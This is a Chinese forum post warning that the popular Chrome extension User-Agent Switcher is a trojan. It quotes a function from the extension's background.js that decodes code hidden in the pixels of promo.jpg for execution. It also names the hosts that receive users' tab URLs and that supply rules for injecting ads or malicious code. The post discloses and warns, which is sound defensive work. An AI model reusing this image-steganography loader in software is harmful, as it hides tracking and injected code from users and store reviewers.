大家一定注意了 Chrome 的插件 User-Agent Switcher 是个木马!
hrome 商店搜索 User-Agent Switcher,排第一的这个插件(45 万用户),是一个木马...
https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake
为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里
background.js 的第 80 行,从这个图片里解密出恶意代码并执行
t.prototype.Vh = function(t, e) { if ("" === '../promo.jpg') return ""; void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {}; var n = this.ET, i = e.mp || n.mp, o = e.Tv || n.Tv, h = e.At || n.At, a = r.Yb(Math.pow(2, i)), f = (e.WC || n.WC, e.TY || n.TY), u = document.createElement("canvas"), p = u.getContext("2d"); if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return ""; e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0); var c = p.getImageData(0, 0, u.width, u.height), d = c.data, g = []; if (c.data.every(function(t) { return 0 === t })) return ""; var m, s; if (1 === o) for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1)); var v = "", w = 0, y = 0, l = Math.pow(2, h) - 1; for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y); return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v) }
会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
根据 threatbook 上的信息( https://x.threatbook.cn/domain/api.data-monitor.info ),我估计下面的几个插件都是这个作者的作品..
https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm
https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah
https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg
这里也有人讨论这个问题